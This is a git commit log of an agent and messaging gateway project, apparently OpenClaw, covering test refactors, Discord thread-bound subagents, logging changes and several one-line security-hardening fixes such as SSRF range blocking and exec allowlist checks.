1baac3e31d test(ui): consolidate navigation/scroll/format matrices 2026-02-21 23:02:44 +00:00
Peter Steinberger
0bd9f0d4ac fix: enforce strict allowlist across pairing stores (#23017) 2026-02-22 00:00:23 +01:00
Brian Mendonca
617e38cec0 Security/macos: enforce wss for non-loopback direct gateway 2026-02-21 23:57:34 +01:00
Brian Mendonca
8942ac04a8 fix(security): fail closed on unauthenticated discovery routing 2026-02-21 23:57:34 +01:00
Brian Mendonca
21087c5c70 test: fix rebase-introduced tsgo regressions 2026-02-21 23:57:34 +01:00
Brian Mendonca
1357e02cff test: stabilize internal hook error assertions 2026-02-21 23:57:34 +01:00
Brian Mendonca
69cedc7a15 test: make brew fallback assertion windows-safe 2026-02-21 23:57:34 +01:00
Brian Mendonca
6c813bd32b test: avoid asserting auth.json absence for invalid profile creds 2026-02-21 23:57:34 +01:00
Brian Mendonca
4414af977a test: guard inline keyboard fixture against undefined input 2026-02-21 23:57:34 +01:00
Brian Mendonca
a186036814 test: fix latest tsgo inference regressions in test suites 2026-02-21 23:57:34 +01:00
Brian Mendonca
d12817994f test: stabilize model catalog and auth-sync assertions across runtimes 2026-02-21 23:57:34 +01:00
Brian Mendonca
60c735dd98 test: normalize outbound payload fixture typing 2026-02-21 23:57:34 +01:00
Brian Mendonca
828f4e18e0 test: finish readonly fixture compatibility for CI check 2026-02-21 23:57:34 +01:00
Brian Mendonca
c7c047287e test: fix readonly typing regressions in check baseline 2026-02-21 23:57:34 +01:00
Gustavo Madeira Santana
0e1aa77928 chore(tsgo/format): fix CI errors 2026-02-21 17:51:56 -05:00
bmendonca3
6ac89757ba Security/Gateway: harden Control UI static path containment (#21203)
* Security/Gateway: harden Control UI static path containment

* gateway: block control-ui symlink escapes

* CI: retrigger flaky node test lane

---------

Co-authored-by: Brian Mendonca <brianmendonca@Brians-MacBook-Air.local>
2026-02-21 23:47:51 +01:00
Peter Steinberger
71bd15bb42 fix(ssrf): block special-use ipv4 ranges 2026-02-21 23:45:49 +01:00
Gustavo Madeira Santana
2f46308d5a refactor(logging): migrate non-agent internal console calls to subsystem logger (#22964)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b4a5b12422
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-21 17:44:00 -05:00
Peter Steinberger
4ef4aa3c10 refactor(gateway): streamline control-ui secure file serving 2026-02-21 23:36:55 +01:00
Peter Steinberger
0608587bc3 test: streamline config, audit, and qmd coverage 2026-02-21 22:23:43 +00:00
Peter Steinberger
a9227f571b test: dedupe telegram formatting and send cases 2026-02-21 22:23:43 +00:00
Peter Steinberger
21b0eac917 test: consolidate infra approval and heartbeat test matrices 2026-02-21 22:23:43 +00:00
Gustavo Madeira Santana
738e2c21dd chore(tests): properly check logging in tests 2026-02-21 17:21:48 -05:00
Peter Steinberger
dea154ccae docs(changelog): add control-ui symlink hardening entry 2026-02-21 23:19:35 +01:00
Peter Steinberger
b34097f62d fix(security): enforce msteams redirect allowlist checks 2026-02-21 23:18:48 +01:00
Peter Steinberger
1bc5c2a7e9 refactor: unify exec shell parser parity and gateway websocket test helpers 2026-02-21 23:17:12 +01:00
Harry Cui Kepler
ffa63173e0 refactor(agents): migrate console.warn/error/info to subsystem logger (#22906)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a806c4cb27
Co-authored-by: Kepler2024 <166882517+Kepler2024@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-21 17:11:47 -05:00
Peter Steinberger
1257aee6e1 docs(agents): note ghsa severity cvss patch constraint 2026-02-21 23:10:55 +01:00
Peter Steinberger
7c500ff623 fix(security): harden control-ui static path resolution 2026-02-21 23:10:55 +01:00
Peter Steinberger
2028ca4428 fix(macos): unify exec allowlist validation pipeline 2026-02-21 23:09:07 +01:00
Peter Steinberger
61dc7ac679 refactor(msteams,bluebubbles): dedupe inbound media download helpers 2026-02-21 23:08:07 +01:00
Peter Steinberger
73d93dee64 fix: enforce inbound media max-bytes during remote fetch 2026-02-21 23:02:29 +01:00
Peter Steinberger
dd41fadcaf fix(macos): enforce path-only exec allowlist patterns 2026-02-21 22:58:40 +01:00
Peter Steinberger
2712883d16 docs(changelog): clarify quoted substitution fix for macOS allowlist 2026-02-21 22:57:53 +01:00
Peter Steinberger
90a378ca3a fix(macos): block quoted shell substitution in allowlist checks 2026-02-21 22:57:53 +01:00
Peter Steinberger
861718e4dc test: group remaining suite cleanups 2026-02-21 21:44:57 +00:00
Peter Steinberger
5c8f0b5a77 test: tighten plugin e2e matrix coverage 2026-02-21 21:44:50 +00:00
Peter Steinberger
cc2ff68947 test: optimize gateway infra memory and security coverage 2026-02-21 21:44:50 +00:00
Peter Steinberger
58254b3b57 test: dedupe channel and transport adapters 2026-02-21 21:44:01 +00:00
Peter Steinberger
52ddb6ae18 test: streamline auto-reply and tts suites 2026-02-21 21:44:01 +00:00
Peter Steinberger
5d9e7c942c test: consolidate agent command and config scenarios 2026-02-21 21:44:01 +00:00
Peter Steinberger
a1ccd03da0 refactor(cli): share outbound send dependency mapping 2026-02-21 21:40:39 +00:00
Peter Steinberger
84686db850 refactor(cli): dedupe system gateway action handling 2026-02-21 21:40:39 +00:00
Peter Steinberger
a04cdc0390 refactor(cli): share update global command runner adapter 2026-02-21 21:40:39 +00:00
Peter Steinberger
944913fc98 refactor(cli): extract shared command-removal and timeout action helpers 2026-02-21 21:40:39 +00:00
Peter Steinberger
bb490a4b51 test(cli): expand agent registrar coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
b5a66e7b7e test(cli): add message registrar wiring coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
fecc29d2c8 test(cli): add onboard registrar coverage for daemon flag precedence 2026-02-21 21:40:39 +00:00
Peter Steinberger
3d2f4aea63 test(cli): add setup registrar coverage for wizard dispatch 2026-02-21 21:40:39 +00:00
Peter Steinberger
bd8b3cd15e test(cli): add configure registrar coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
580417685b test(cli): add build-program wiring coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
1c78ade1a1 test(cli): add program help coverage for root output and version fast-path 2026-02-21 21:40:39 +00:00
Peter Steinberger
ceaa43df7a test(cli): add preaction hook coverage for banner/config/plugin gating 2026-02-21 21:40:39 +00:00
Peter Steinberger
d5bfbc36d8 test(cli): add program context unit coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
0f36cbe677 test(cli): add program helper parser coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
ab3fa83f17 test(cli): add action-reparse coverage for fallback argv resolution 2026-02-21 21:40:39 +00:00
Peter Steinberger
5de9419748 test(cli): add status/health/sessions registrar coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
938fb652b5 fix(cli): honor dashboard no-open and expand maintenance coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
6de7f9d9b0 test(cli): dedupe config-guard harness and cover invalid-config gates 2026-02-21 21:40:39 +00:00
Peter Steinberger
4503bd0591 test(cli): expand command-registry grouped and subcommand coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
037da5d8a8 test(cli): extend command option inheritance edge coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
cdb92494d1 test(cli): dedupe inspect runner and cover snapshot/screenshot mode defaults 2026-02-21 21:40:39 +00:00
Peter Steinberger
81ddc98e12 test(cli): dedupe browser state command runner and cover input validation 2026-02-21 21:40:39 +00:00
Peter Steinberger
8581e6b52d test(cli): dedupe route assertions and cover missing-flag guards 2026-02-21 21:40:39 +00:00
Peter Steinberger
adedacbfe1 test(cron): dedupe delivery-target whatsapp stubs and cover sessionKey fallback 2026-02-21 21:40:39 +00:00
Peter Steinberger
04a23f45b7 test(channels): dedupe whatsapp heartbeat fixtures and cover recipient sources 2026-02-21 21:40:39 +00:00
Peter Steinberger
42e181dd4b test(web): dedupe inbound cfg fixtures and cover reply/from formatting 2026-02-21 21:40:39 +00:00
Peter Steinberger
2d62685ff0 test(cli): dedupe memory runtime spies and cover json/search fallback flows 2026-02-21 21:40:39 +00:00
Peter Steinberger
e46634db9a test(media): dedupe server fixture helpers and cover 404/id validation 2026-02-21 21:40:39 +00:00
Peter Steinberger
dc7ec65c8f test(web): dedupe mention assertions and cover diagnostics helpers 2026-02-21 21:40:39 +00:00
Peter Steinberger
e2a50228a1 test(browser): dedupe chrome mocks and cover SIGKILL escalation 2026-02-21 21:40:39 +00:00
Peter Steinberger
00ab894feb test(cli): dedupe acp program setup and cover token-file errors 2026-02-21 21:40:39 +00:00
Peter Steinberger
7bfbbd6309 test(version): dedupe fixture setup and cover invalid URL/version metadata 2026-02-21 21:40:39 +00:00
Peter Steinberger
bd74d49169 test(cli): dedupe camera temp fixtures and cover clip url error paths 2026-02-21 21:40:39 +00:00
Peter Steinberger
59189750e4 test(browser): dedupe path fixture calls and cover root resolvers 2026-02-21 21:40:39 +00:00
Peter Steinberger
0f9ea0229a test(infra): dedupe install-source fixtures and cover npm pack parsing 2026-02-21 21:40:39 +00:00
Peter Steinberger
f9e21d5720 test(infra): dedupe gateway-lock setup and cover guard paths 2026-02-21 21:40:39 +00:00
Peter Steinberger
b01335830d test(pairing): dedupe fixture writers and expand store coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
c45ef5f8b5 test(line): dedupe event fixtures and cover room postback routing 2026-02-21 21:40:39 +00:00
Peter Steinberger
1794f42ac0 test(config): dedupe io fixture wiring and cover legacy config-path override 2026-02-21 21:40:39 +00:00
Peter Steinberger
d35a8b48f5 test(infra): dedupe archive case setup and cover packed-root multi-dir failure 2026-02-21 21:40:39 +00:00
Peter Steinberger
544a1142b0 test(agents): dedupe skill helper fixtures and cover empty-body rendering 2026-02-21 21:40:39 +00:00
Peter Steinberger
822688dc13 test(infra): dedupe store temp fixtures and cover json5 voicewake sanitization 2026-02-21 21:40:39 +00:00
Peter Steinberger
a418c6db06 test(agents): dedupe agent-path fixtures and cover env override precedence 2026-02-21 21:40:39 +00:00
Peter Steinberger
6fd31fc0b0 test(browser): dedupe invalid-path assertions and cover blank path rejection 2026-02-21 21:40:39 +00:00
Peter Steinberger
2000dcdcd0 test(memory): dedupe temp-dir lifecycle hooks and cover overlapping path dedupe 2026-02-21 21:40:39 +00:00
Peter Steinberger
6051dc10ff test(scripts): dedupe a2ui temp fixture and cover skip-missing env path 2026-02-21 21:40:39 +00:00
Peter Steinberger
d6c2fd5453 test(web): dedupe logout fixture setup and cover non-legacy oauth removal 2026-02-21 21:40:39 +00:00
Peter Steinberger
bdfb979940 test(cli): dedupe camera fetch stubs and cover empty-body download rejection 2026-02-21 21:40:39 +00:00
Peter Steinberger
31a0449f69 test(core): dedupe temp dirs in utils tests and cover lid lookup error fallback 2026-02-21 21:40:39 +00:00
Peter Steinberger
c93fc3786c test(infra): dedupe brew fixtures and cover explicit brew file precedence 2026-02-21 21:40:39 +00:00
Peter Steinberger
2042a69211 test(infra): dedupe dotenv fixture setup and cover fallback-only load 2026-02-21 21:40:39 +00:00
Peter Steinberger
c394c5fa99 test(daemon): dedupe schtasks install fixture and cover empty env omission 2026-02-21 21:40:39 +00:00
Peter Steinberger
d015dc9216 test(cron): dedupe run-log temp fixtures and cover invalid line filtering 2026-02-21 21:40:39 +00:00
Peter Steinberger
7036352d94 test(config): dedupe temp roots and cover legacy state-dir fallback 2026-02-21 21:40:39 +00:00
Peter Steinberger
5d61afb362 test(commands): dedupe signal install extract fixture and cover zip extract 2026-02-21 21:40:39 +00:00
Peter Steinberger
3274a1b804 test(gateway): dedupe control-ui fixture setup and cover query asset 404 2026-02-21 21:40:39 +00:00
Peter Steinberger
8f1b467646 test(agents): dedupe exec preflight fixtures and cover quoted-path skip 2026-02-21 21:40:39 +00:00
Peter Steinberger
8f11868cc2 test(gateway): dedupe boot workspace setup and cover boot failures 2026-02-21 21:40:38 +00:00
Peter Steinberger
0e49eec056 test(commands): dedupe auth-sync fixture and cover invalid profile handling 2026-02-21 21:40:38 +00:00
Peter Steinberger
e978297c28 test(agents): dedupe workspace template temp roots and cover fallback resolution 2026-02-21 21:40:38 +00:00
Peter Steinberger
c481b22245 test(reply): reuse compaction fixture setup and cover numeric fallback defaults 2026-02-21 21:40:38 +00:00
Peter Steinberger
1bbeedfab2 test(infra): dedupe heartbeat ghost reminder temp/mocks setup 2026-02-21 21:40:38 +00:00
Peter Steinberger
ac6c344d9b test(browser): dedupe fixture lifecycle and cover directory-path rejection 2026-02-21 21:40:38 +00:00
Peter Steinberger
626d8e9f62 test(web): dedupe temp dir setup in web auto-reply utils tests 2026-02-21 21:40:38 +00:00
Val Alexander
b703ea3675 fix: prevent compaction "prompt too long" errors (#22921)
* includes: prompt overhead in compaction safeguard calculation.

Subtracts SUMMARIZATION_OVERHEAD_TOKENS from maxChunkTokens in both the main summarization path and the dropped-messages summarization path.

This ensures the chunk budget leaves room for the prompt overhead that generateSummary wraps around each chunk.

* adds: budget for overhead tokens to use an effectiveMax instead of maxTokens naïvely.

- Added `SUMMARIZATION_OVERHEAD_TOKENS = 4096` — a budget for the tokens that `generateSummary` adds on top of the serialized conversation (system prompt, `<conversation>` tags, summarization instructions, `<previous-summary>` block, and reasoning: "high" thinking budget).
- `chunkMessagesByMaxTokens` now divides `maxTokens` by `SAFETY_MARGIN` (1.2) before comparing against estimated token counts. Previously, the safety margin was only used in `computeAdaptiveChunkRatio` and `isOversizedForSummary` but not in the actual chunking loop — so chunks could be built that fit the estimated budget but exceeded the real budget once the API tokenized them properly.
2026-02-21 14:42:18 -06:00
Onur Solmaz
ac633366ce docs: add Onur Solmaz to contributors (#22890) 2026-02-21 21:00:26 +01:00
Peter Steinberger
518dbbf4c6 test: avoid template-literal temp path in runner fixture 2026-02-21 20:49:38 +01:00
Peter Steinberger
302fa03f41 fix(test): skip test-utils files in temp path guard 2026-02-21 20:48:52 +01:00
Peter Steinberger
48ddb1cc81 fix(ci): stabilize install smoke in docker 2026-02-21 20:39:34 +01:00
Peter Steinberger
549549f6a0 fix(ci): sync plugin versions and harden install smoke 2026-02-21 20:18:37 +01:00
Peter Steinberger
a20c773251 test(media): dedupe auto-e2e temp/env setup and cover no-binary path 2026-02-21 19:17:01 +00:00
Peter Steinberger
b889a5d516 test(cli): dedupe temp dirs in camera tests and cover non-ok url responses 2026-02-21 19:17:01 +00:00
Peter Steinberger
0ecb07e6d1 test(cli): dedupe acp secret file setup and cover password flag collisions 2026-02-21 19:17:01 +00:00
Peter Steinberger
4f835c4c0d test(media): dedupe temp roots and cover directory attachment rejection 2026-02-21 19:17:01 +00:00
Peter Steinberger
9ebfc99c1b refactor(test): dedupe temp media fixture setup in apply e2e 2026-02-21 19:17:01 +00:00
Peter Steinberger
0a207b9860 refactor(test): share temp workspace helper in compact skill path tests 2026-02-21 19:16:22 +00:00
Peter Steinberger
324922f804 refactor(test): dedupe temp dir lifecycle in agents skills directory e2e 2026-02-21 19:16:22 +00:00
Peter Steinberger
b3c7fd6c69 refactor(test): dedupe temp dirs and skill writer in snapshot e2e 2026-02-21 19:16:22 +00:00
Peter Steinberger
85c768d3d2 refactor(test): dedupe temp workspace setup in skills load entries e2e 2026-02-21 19:16:22 +00:00
Peter Steinberger
0401762144 refactor(test): dedupe temp root setup in identity avatar e2e 2026-02-21 19:16:22 +00:00
Peter Steinberger
9ead79937e refactor(test): dedupe temp session path setup in file repair e2e 2026-02-21 19:16:22 +00:00
Peter Steinberger
70fdab6e95 test(agents): add coverage for shared skill writer helper 2026-02-21 19:16:21 +00:00
Peter Steinberger
0876fbde19 refactor(test): reuse shared skill writer in skills e2e 2026-02-21 19:16:21 +00:00
Peter Steinberger
f086245afe refactor(test): reuse shared skill writer in sandbox and bundled tests 2026-02-21 19:16:21 +00:00
Peter Steinberger
96ef00ec38 refactor(test): drop redundant env snapshots in skill download suites 2026-02-21 19:16:21 +00:00
Peter Steinberger
603e28648b refactor(test): centralize temp workspace env handling for skill install tests 2026-02-21 19:16:21 +00:00
Peter Steinberger
61817c90e7 refactor(test): share temp workspace helper for skill download suites 2026-02-21 19:16:21 +00:00
Peter Steinberger
a814cce359 refactor(test): share temp command dir helper in shell utils e2e 2026-02-21 19:16:21 +00:00
Peter Steinberger
c240104dc3 refactor(test): snapshot gateway auth env in security audit tests 2026-02-21 19:16:21 +00:00
Peter Steinberger
e5aa04d432 refactor(test): snapshot daemon cli env in coverage e2e 2026-02-21 19:16:21 +00:00
Peter Steinberger
3fd7dc5046 refactor(test): snapshot shell/path env in bash tools e2e 2026-02-21 19:16:21 +00:00
Peter Steinberger
272bf2d8bc refactor(test): dedupe env override assertions in skills e2e 2026-02-21 19:16:21 +00:00
Peter Steinberger
d982893490 refactor(test): use env helper for web auto-reply timezone test 2026-02-21 19:13:47 +00:00
Peter Steinberger
7ba09e414f refactor(test): snapshot env in shell utils e2e 2026-02-21 19:13:47 +00:00
Peter Steinberger
c3e1c82871 refactor(test): snapshot bundled hooks env in loader tests 2026-02-21 19:13:47 +00:00
Peter Steinberger
5e607ae1eb refactor(test): snapshot deprecated auth profile env in e2e 2026-02-21 19:13:47 +00:00
Peter Steinberger
5dc1b5a8db refactor(test): reuse env helper in workspace skill sync gating 2026-02-21 19:13:47 +00:00
Peter Steinberger
c0706b7799 refactor(test): reuse env helper in workspace skill status tests 2026-02-21 19:13:47 +00:00
Peter Steinberger
cf371fde6d refactor(test): use env helper in workspace skills prompt gating 2026-02-21 19:13:47 +00:00
Peter Steinberger
8745964142 refactor(test): snapshot PATH env in bash tools exec path e2e 2026-02-21 19:13:47 +00:00
Peter Steinberger
af66e3103a test(agents): cover bundled skills env override and dedupe setup 2026-02-21 19:13:47 +00:00
Peter Steinberger
ae06dbb794 refactor(test): snapshot tar.bz2 skills install env 2026-02-21 19:13:47 +00:00
Peter Steinberger
b44aa5b1f7 refactor(test): snapshot skills install state dir env 2026-02-21 19:13:47 +00:00
Peter Steinberger
884166c7af refactor(test): snapshot telegram action env in e2e suite 2026-02-21 19:13:47 +00:00
Peter Steinberger
1fd88af219 test(commands): stabilize message e2e env and gateway mock 2026-02-21 19:13:47 +00:00
Peter Steinberger
1b585b2959 refactor(test): snapshot tailscale test env per case 2026-02-21 19:13:47 +00:00
Peter Steinberger
2a0ea7cb97 test(tui): cover gateway auth fallbacks and dedupe env setup 2026-02-21 19:13:47 +00:00
Peter Steinberger
ec8288e9b8 refactor(test): reuse env helper in gateway status e2e 2026-02-21 19:13:47 +00:00
Peter Steinberger
807968e4df refactor(test): replace manual PATH restore with env helpers 2026-02-21 19:13:47 +00:00
Peter Steinberger
01f42a0372 refactor(test): share media audio fixture across runner tests 2026-02-21 19:13:47 +00:00
Peter Steinberger
194ebd9e30 refactor(test): dedupe env setup in envelope and config tests 2026-02-21 19:13:47 +00:00
Peter Steinberger
50489fb2d4 refactor(test): use env helper for telegram TZ override 2026-02-21 19:13:47 +00:00
Peter Steinberger
fc43a16d43 refactor(test): replace ad-hoc env restore blocks with helpers 2026-02-21 19:13:47 +00:00
Peter Steinberger
63488eb981 refactor(test): dedupe telegram token env handling in tests 2026-02-21 19:13:47 +00:00
Peter Steinberger
bfa59bd22e refactor(test): collapse gateway e2e env snapshots 2026-02-21 19:13:47 +00:00
Peter Steinberger
dda9e9f094 refactor(test): snapshot onboarding gateway env via helper 2026-02-21 19:13:47 +00:00
Peter Steinberger
bd9d3e2f87 refactor(test): reuse env helper in update cli tests 2026-02-21 19:13:47 +00:00
Peter Steinberger
b2ed54f600 refactor(test): reuse env helper in onboarding provider auth e2e 2026-02-21 19:13:47 +00:00
Peter Steinberger
2d7d00ef8e refactor(test): streamline env setup in auth and gateway e2e 2026-02-21 19:13:47 +00:00
Peter Steinberger
a410dad602 refactor(test): simplify env setup in safe bins and skills status 2026-02-21 19:13:46 +00:00
Peter Steinberger
8fd8988ff7 refactor(test): reuse env helper in gateway tool e2e 2026-02-21 19:13:46 +00:00
Peter Steinberger
bc037dfe01 refactor(test): dedupe provider env setup in model config tests 2026-02-21 19:13:46 +00:00
Peter Steinberger
c41d1070b7 refactor(test): use env helper in agent paths e2e 2026-02-21 19:13:46 +00:00
Peter Steinberger
e588e3cc20 refactor(test): standardize env helpers across suites 2026-02-21 19:13:46 +00:00
Peter Steinberger
ae70bf4dca refactor(test): simplify env scoping in exec and usage tests 2026-02-21 19:13:46 +00:00
Peter Steinberger
aff272ec35 refactor(test): reuse env helper in models auth sync 2026-02-21 19:13:46 +00:00
Peter Steinberger
992b7e5577 refactor(test): use env snapshots in setup hooks 2026-02-21 19:13:46 +00:00
Peter Steinberger
7724abeee0 refactor(test): dedupe env setup across suites 2026-02-21 19:13:46 +00:00
Peter Steinberger
f903603722 docs(changelog): keep 2026.2.22 split from 2026.2.21 2026-02-21 20:10:51 +01:00
Sean McLellan
00b98a368a fix: flatten nested anyOf/oneOf in Gemini schema cleaning (openclaw#22825) thanks @Oceanswave
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Oceanswave <760674+Oceanswave@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-21 13:09:42 -06:00
Peter Steinberger
f9108120c2 fix(gateway): strip inline directive tags from displayed text 2026-02-21 20:08:55 +01:00
Peter Steinberger
4540790cb6 refactor(bluebubbles): share dm/group access policy checks 2026-02-21 20:08:33 +01:00
Peter Steinberger
c3af00bddb docs(changelog): split 2026.2.21 release entries 2026-02-21 20:06:57 +01:00
Peter Steinberger
22940b7b98 refactor(discord): split allowlist resolution flow 2026-02-21 20:01:21 +01:00
Peter Steinberger
25e89cc863 fix(security): harden shell env fallback 2026-02-21 20:01:08 +01:00
Peter Steinberger
817905f3a0 docs: document thread-bound subagent sessions and remove plan 2026-02-21 19:59:55 +01:00
Peter Steinberger
51c0893673 refactor(security): remove unused empty allowlist mode 2026-02-21 19:57:36 +01:00
Peter Steinberger
2ba6de7eaa refactor(security): make empty allowlist behavior explicit 2026-02-21 19:54:59 +01:00
Peter Steinberger
ed960ba4eb refactor(security): centralize path guard helpers 2026-02-21 19:54:26 +01:00
Peter Steinberger
6ffca36284 fix(config): add shared streaming resolver module 2026-02-21 19:53:42 +01:00
Peter Steinberger
2c14b0cf4c refactor(config): unify streaming config across channels 2026-02-21 19:53:42 +01:00
Peter Steinberger
747bb581b3 fix(discord): canonicalize resolved allowlists to ids 2026-02-21 19:53:29 +01:00
Nimrod Gutman
3ed71d6f76 fix: update changelog for ios talk tts prefetch (#22833) (thanks @ngutman) 2026-02-21 20:52:05 +02:00
Nimrod Gutman
d6353cc54b fix(ios): suppress expected speech cancellation errors 2026-02-21 20:52:05 +02:00
Nimrod Gutman
8a661e30c9 fix(ios): prefetch talk tts segments 2026-02-21 20:52:05 +02:00
Peter Steinberger
9632b9bcf0 fix(security): fail closed parsed chat allowlist 2026-02-21 19:51:36 +01:00
Simone Macario
09d5f508b1 fix(cron): persist delivered flag in job state to surface delivery failures (openclaw#19174) thanks @simonemacario
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: simonemacario <2116609+simonemacario@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-21 12:47:29 -06:00
Peter Steinberger
51149fcaf1 refactor(gateway): extract connect and role policy logic 2026-02-21 19:47:22 +01:00
Peter Steinberger
f97c45c5b5 fix(security): warn on Discord name-based allowlists in audit 2026-02-21 19:45:17 +01:00
Peter Steinberger
4b226b74f5 fix(security): block zip symlink escape in archive extraction 2026-02-21 19:42:33 +01:00
Peter Steinberger
ddcb2d79b1 fix(gateway): block node role when device identity is missing 2026-02-21 19:34:13 +01:00
Peter Steinberger
764b1f2932 refactor: simplify relay runtime state 2026-02-21 19:31:30 +01:00
Peter Steinberger
e371da38aa fix(macos): consolidate exec approval evaluation 2026-02-21 19:30:35 +01:00
Peter Steinberger
9fc6c8b713 fix: hide synthetic untrusted metadata in chat history 2026-02-21 19:26:04 +01:00
Peter Steinberger
afa22acc4a fix: harden extension relay auth token flow 2026-02-21 19:24:42 +01:00
Peter Steinberger
89aad7b922 refactor: tighten safe-bin policy model and docs parity 2026-02-21 19:24:23 +01:00
Peter Steinberger
c730d4dd72 docs: clarify non-default scope for safeBins sort fix 2026-02-21 19:18:51 +01:00
Peter Steinberger
4c1dd9d068 fix(security): harden macos rawCommand allowlist resolution 2026-02-21 19:17:56 +01:00
niceysam
5e423b596c fix: remove false-positive billing error rewrite on normal assistant text (openclaw#17834) thanks @niceysam
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: niceysam <256747835+niceysam@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-21 12:17:39 -06:00
Peter Steinberger
57fbbaebca fix: block safeBins sort --compress-program bypass 2026-02-21 19:13:53 +01:00
Peter Steinberger
bdfb97afad chore: prep 2026.2.22 unreleased and publish new npm plugins 2026-02-21 19:05:35 +01:00
Thorfinn
efdec39254 fix: correct MiniMax M2.5 pricing (was ~50x too high) (openclaw#22755) thanks @miloudbelarebia
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: miloudbelarebia <136994453+miloudbelarebia@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-21 11:26:48 -06:00
Peter Steinberger
35a57bc940 fix: gate doctor oauth-dir repair by channel config 2026-02-21 18:08:15 +01:00
Peter Steinberger
905e355f65 fix: verify gateway restart health after daemon restart 2026-02-21 18:02:14 +01:00
Peter Steinberger
5e34eb98fb chore: update appcast for 2026.2.21 mac release 2026-02-21 17:56:21 +01:00
Peter Steinberger
74e6c210c0 fix: ignore prerelease suffixes in release-check plugin version checks 2026-02-21 17:48:21 +01:00
Peter Steinberger
e93ba6ce2a fix: harden update restart service convergence 2026-02-21 17:40:28 +01:00
Vincent Koc
59c78c105a docs: revert automated heading consistency edits (#22743) 2026-02-21 11:18:29 -05:00
Peter Steinberger
7c1a2ab085 test: tolerate transient zai and minimax live-model failures 2026-02-21 17:05:13 +01:00
Vincent Koc
d9844c6afa CI: remove docs spellcheck step (#22738) 2026-02-21 10:58:34 -05:00
Peter Steinberger
fa89ae8e9e fix: stabilize swift protocol generation and flaky tests 2026-02-21 16:53:46 +01:00
Peter Steinberger
8588183abe test: stabilize docker e2e suites for pairing and model updates 2026-02-21 16:38:48 +01:00
Peter Steinberger
5da03e6221 fix(macos): harden exec allowlist shell-chain checks 2026-02-21 16:27:18 +01:00
Onur
8178ea472d feat: thread-bound subagents on Discord (#21805)
* docs: thread-bound subagents plan

* docs: add exact thread-bound subagent implementation touchpoints

* Docs: prioritize auto thread-bound subagent flow

* Docs: add ACP harness thread-binding extensions

* Discord: add thread-bound session routing and auto-bind spawn flow

* Subagents: add focus commands and ACP/session binding lifecycle hooks

* Tests: cover thread bindings, focus commands, and ACP unbind hooks

* Docs: add plugin-hook appendix for thread-bound subagents

* Plugins: add subagent lifecycle hook events

* Core: emit subagent lifecycle hooks and decouple Discord bindings

* Discord: handle subagent bind lifecycle via plugin hooks

* Subagents: unify completion finalizer and split registry modules

* Add subagent lifecycle events module

* Hooks: fix subagent ended context key

* Discord: share thread bindings across ESM and Jiti

* Subagents: add persistent sessions_spawn mode for thread-bound sessions

* Subagents: clarify thread intro and persistent completion copy

* test(subagents): stabilize sessions_spawn lifecycle cleanup assertions

* Discord: add thread-bound session TTL with auto-unfocus

* Subagents: fail session spawns when thread bind fails

* Subagents: cover thread session failure cleanup paths

* Session: add thread binding TTL config and /session ttl controls

* Tests: align discord reaction expectations

* Agent: persist sessionFile for keyed subagent sessions

* Discord: normalize imports after conflict resolution

* Sessions: centralize sessionFile resolve/persist helper

* Discord: harden thread-bound subagent session routing

* Rebase: resolve upstream/main conflicts

* Subagents: move thread binding into hooks and split bindings modules

* Docs: add channel-agnostic subagent routing hook plan

* Agents: decouple subagent routing from Discord

* Discord: refactor thread-bound subagent flows

* Subagents: prevent duplicate end hooks and orphaned failed sessions

* Refactor: split subagent command and provider phases

* Subagents: honor hook delivery target overrides

* Discord: add thread binding kill switches and refresh plan doc

* Discord: fix thread bind channel resolution

* Routing: centralize account id normalization

* Discord: clean up thread bindings on startup failures

* Discord: add startup cleanup regression tests

* Docs: add long-term thread-bound subagent architecture

* Docs: split session binding plan and dedupe thread-bound doc

* Subagents: add channel-agnostic session binding routing

* Subagents: stabilize announce completion routing tests

* Subagents: cover multi-bound completion routing

* Subagents: suppress lifecycle hooks on failed thread bind

* tests: fix discord provider mock typing regressions

* docs/protocol: sync slash command aliases and delete param models

* fix: add changelog entry for Discord thread-bound subagents (#21805) (thanks @onutc)

---------

Co-authored-by: Shadow <hi@shadowing.dev>
2026-02-21 16:14:55 +01:00
Peter Steinberger
166068dfbe test: add byteplus coding-plan live test 2026-02-21 15:42:44 +01:00
Peter Steinberger
c8466e516f fix(agents): raise dynamic retry cap budget 2026-02-21 15:41:30 +01:00
Peter Steinberger
1bd3f01c17 fix(telegram): guard duplicate bot token accounts 2026-02-21 15:41:03 +01:00
Peter Steinberger
b520e7ac38 fix: stabilize docker live model and doctor-switch tests 2026-02-21 15:36:24 +01:00
Peter Steinberger
b25d3652e7 fix(agents): cap embedded runner retry loop 2026-02-21 15:35:45 +01:00
Peter Steinberger
352b5262da fix(ci): make docs spellcheck fallback deterministic 2026-02-21 15:08:28 +01:00
Peter Steinberger
3101047234 feat(models): add Gemini 3.1 support 2026-02-21 15:08:06 +01:00
Peter Steinberger
